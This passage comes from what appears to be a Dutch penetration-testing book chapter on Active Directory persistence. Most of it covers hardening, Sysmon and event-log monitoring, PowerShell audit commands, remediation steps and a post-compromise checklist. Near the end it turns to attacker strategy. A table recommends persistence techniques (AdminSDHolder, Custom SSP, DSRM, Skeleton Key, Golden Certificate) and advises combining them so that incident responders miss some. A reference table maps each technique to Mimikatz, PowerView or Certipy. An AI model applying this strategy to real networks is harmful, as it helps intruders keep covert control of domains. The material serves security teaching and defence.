-Name "RunAsPPL" -Value 1 -PropertyType DWORD
# Credential Guard inschakelen (via Group Policy)
# Computer Configuration > Administrative Templates > System > Device Guard
# > Turn On Virtualization Based Security > Credential Guard: EnabledLSA Protection voorkomt Custom SSP en Skeleton Key. Credential Guard isoleert credentials zodat zelfs een gecompromitteerde kernel ze niet kan benaderen.
Laag 2: Monitoring
De absolute minimum-set aan monitoring voor persistentiedetectie:
# Sysmon configuratie (relevant excerpts)
- Event 13: Registry value wijzigingen
Filter op: \Control\Lsa\Security Packages
Filter op: \Control\Lsa\DsrmAdminLogonBehavior
# Windows Security Event Log
- Event 4780: ACL wijziging op beschermd object (SDProp-gerelateerd)
- Event 5136: Directory service object wijziging
- Event 4794: DSRM password instelling
- Event 4769: Kerberos TGS requests (filter op RC4 encryption)
Laag 3: Regelmatige audits
# AdminSDHolder ACL controleren
(Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access |
Format-Table IdentityReference, ActiveDirectoryRights
# Security Packages registry controleren
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ `
-Name 'Security Packages'
# DsrmAdminLogonBehavior controleren
Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\ `
-Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinueVoer deze controles maandelijks uit. Beter nog: automatiseer ze en alert bij afwijkingen.
Laag 4: Incident Response
Als je persistentie ontdekt, is de keten van acties afhankelijk van de methode:
| Methode | Herstel |
|---|---|
| AdminSDHolder | Verwijder de kwaadaardige ACE, forceer SDProp, controleer alle beschermde groepen |
| Custom SSP | Verwijder registry entry, verwijder DLL, herstart DC, overweeg DSRM-wachtwoord reset |
| DSRM | Verwijder DsrmAdminLogonBehavior, reset DSRM-wachtwoord via ntdsutil |
| Security Descriptors | Reset security descriptors op WMI/WinRM/Registry naar defaults |
| Skeleton Key | Herstart de DC (verwijdert de patch uit geheugen) |
| Golden Certificate | Heruitgave van de CA-key, revocatie van alle certificaten |
Die laatste — Golden Certificate — is reden genoeg om je CA-key in een HSM te bewaren. Een volledige PKI-heruitgifte is een operatie die weken duurt en het hele netwerk raakt.
De werkelijkheid van “we hebben alles opgeruimd”
Laten we eerlijk zijn over het incident response-proces bij de meeste organisaties. Het SOC ontdekt een compromis. Er wordt een crisisteam samengesteld. Er worden wachtwoorden gereset, werkstations opnieuw geïmaged, en VPN-toegangen uitgeschakeld. Na twee weken intensief werk verklaart het management: “We hebben de situatie onder controle. De aanvaller is verwijderd.”
En misschien is dat waar. Misschien.
Maar heb je de AdminSDHolder-ACL gecontroleerd? Heb je de Security Packages in het register van elke DC geïnspecteerd? Heb je het DsrmAdminLogonBehavior op elke DC gecontroleerd? Heb je de WMI-security descriptors geaudit? Heb je de CA-private key geroteerd? Heb je SIDHistory van alle accounts gecontroleerd?
In de overgrote meerderheid van de gevallen is het antwoord: nee. Niet uit onwil, maar uit onwetendheid. De meeste incident response-teams focussen op werkstations en servers — bestanden, processen, netwerk-connecties. Ze zoeken naar malware. Naar C2-kanalen. Naar indicators of compromise die in hun SIEM-regels staan.
Maar de persistentiemechanismen in dit hoofdstuk leven niet op werkstations. Ze leven in Active Directory zelf. In ACL’s. In security descriptors. In registry keys op de DC. In het geheugen van LSASS. Plekken waar het incident response-team niet kijkt, omdat het niet weet dat het daar moet kijken.
Het is als een ziekenhuisteam dat de patiënt behandelt voor een gebroken been terwijl er een tumor groeit die niemand heeft opgemerkt. Het been geneest. De patiënt gaat naar huis. En drie maanden later is het weer mis, en niemand begrijpt waarom.
De les is simpel maar oncomfortabel: een incident response is pas compleet wanneer je actief hebt gezocht naar — en uitgesloten — elke persistentiemethode die de aanvaller had kunnen implementeren. Niet de methoden die je kent. Alle methoden. En dat vereist kennis die de meeste teams niet hebben, tijd die het management niet wil geven, en tools die de meeste organisaties niet bezitten.
“We hebben alles gepatcht.” Nee, je hebt de voordeur gerepareerd. De aanvaller zit nog steeds in de kelder.
Het clean-up probleem
Er is nog een dimensie die dit alles complexer maakt: zelfs wanneer je weet welke persistentiemechanismen er zijn, is het verwijderen ervan niet triviaal. Neem de AdminSDHolder-backdoor. Je vindt de kwaadaardige ACE, je verwijdert hem. Maar heb je ook alle beschermde groepen gecontroleerd? SDProp heeft de ACE al gekopieerd naar Domain Admins, Enterprise Admins, en alle andere beschermde groepen. Je moet de ACE verwijderen van AdminSDHolder en van elke groep waar hij naartoe is gekopieerd. Miss je er een, dan werkt de backdoor nog steeds.
Of neem de Custom SSP. Je vindt de DLL in System32 en de registry
entry. Je verwijdert beide. Maar heb je het logbestand gecontroleerd?
C:\Windows\system32\mimilsa.log staat vol met cleartext
wachtwoorden. Als de aanvaller dat bestand al heeft geexfiltreerd, zijn
al die wachtwoorden gecompromitteerd — zelfs na het verwijderen van de
SSP. Je moet dan alle wachtwoorden resetten van iedereen die
heeft ingelogd sinds de SSP actief was.
En bij de Golden Certificate: als de CA-private key is gestolen, is er eigenlijk maar een oplossing die garantie biedt: een volledige PKI-herinstallatie. Nieuwe CA. Nieuwe root key. Nieuwe certificaten voor iedereen. In een omgeving met duizenden systemen is dat een project van maanden.
De harde waarheid is dat sommige persistentiemechanismen zo diep gaan dat de enige betrouwbare oplossing een volledige rebuild van het domein is: een nieuw forest, nieuwe DC’s, nieuwe accounts, gecontroleerde migratie van data. Dat is de nucleaire optie. Maar soms is het de enige optie.
Persistentie audit checklist
Als pen tester of als verdediger: gebruik deze checklist na elk compromis om systematisch persistentie uit te sluiten:
Active Directory niveau:
[ ] AdminSDHolder ACL gecontroleerd op ongeautoriseerde ACE's
[ ] SIDHistory van alle accounts gecontroleerd (geen verdachte SID's)
[ ] Alle GP-links en GPO's gecontroleerd op kwaadaardige scripts
[ ] Alle certificate templates gecontroleerd op wijzigingen
[ ] CA configuratie gecontroleerd (EDITF_ATTRIBUTESUBJECTALTNAME2)
[ ] Kerberos krbtgt-wachtwoord twee keer gereset (golden ticket invalidatie)
[ ] Replicatie-metadata gecontroleerd op DCShadow-sporen
Domain Controller niveau (per DC):
[ ] Security Packages registry key gecontroleerd
[ ] DsrmAdminLogonBehavior registry key gecontroleerd
[ ] WMI namespace security descriptors gecontroleerd
[ ] WinRM endpoint security descriptors gecontroleerd
[ ] Remote Registry security descriptors gecontroleerd
[ ] Scheduled tasks gecontroleerd
[ ] Services gecontroleerd
[ ] DLL's in System32 gecontroleerd tegen baseline
[ ] LSASS memory geanalyseerd (Skeleton Key, custom SSP)
PKI niveau:
[ ] CA private key integriteit geverifieerd
[ ] Alle uitgegeven certificaten gereviewed
[ ] Onverwachte certificaten ingetrokken
Account niveau:
[ ] Alle wachtwoorden gereset (inclusief service accounts)
[ ] DSRM-wachtwoorden gereset op elke DC
[ ] Alle Kerberos tickets geïnvalideerd
Persistentie prioritering
Niet alle persistentiemethoden zijn gelijk. Als aanvaller kies je op basis van je situatie:
| Scenario | Aanbevolen methode | Reden |
|---|---|---|
| Langdurige, stille toegang | AdminSDHolder + Security Descriptors | Geen malware, overleeft alles |
| Wachtwoorden verzamelen | Custom SSP | Direct cleartext credentials |
| Snelle nood-backdoor | DSRM | Minimale wijzigingen, snel op te zetten |
| Korte termijn universele toegang | Skeleton Key | Werkt voor alle accounts, geen bestanden |
| Maximale persistentie | Golden Certificate + AdminSDHolder | Overleeft zelfs volledige DC-herinstallatie (als CA intact blijft) |
De meest robuuste strategie combineert meerdere methoden in verschillende categorieën: een ACL-gebaseerde methode (AdminSDHolder), een credential-harvest methode (Custom SSP), en een authenticatie-backdoor (DSRM of Golden Certificate). Redundantie is de sleutel — als het incident response-team een methode vindt, heb je nog twee over.
Referentietabel
| Onderwerp | IB Command | Tool | Vereiste | Persistent na reboot |
|---|---|---|---|---|
| AdminSDHolder ACL backdoor | persist_adminsdholder |
PowerView | DA | Ja |
| Custom SSP (registry) | persist_custom_ssp |
Mimikatz + mimilib.dll | DA | Ja |
| Custom SSP (in-memory) | persist_custom_ssp |
Mimikatz | DA | Nee |
| DSRM abuse | persist_dsrm |
Mimikatz | DA | Ja |
| Security Descriptor backdoors | persist_security_descriptors |
RACE toolkit | DA | Ja |
| Skeleton Key | persist_skeleton_key |
Mimikatz | DA | Nee |
| Golden Certificate | (handmatig / Certipy) | Certipy | DA + CA key | Ja |
| DCShadow | (handmatig / Mimikatz) | Mimikatz | DA + 2 sessies | Ja |
| SIDHistory injection | (handmatig / Mimikatz) | Mimikatz | DA | Ja |
In het volgende hoofdstuk behandelen we tunneling — de kunst om verkeer door vijandelijk territorium te loodsen. Want al die persistentie is niets waard als je er niet bij kunt. SSH SOCKS, chisel, dnscat2, en meer: de geheime doorgangen van het netwerk.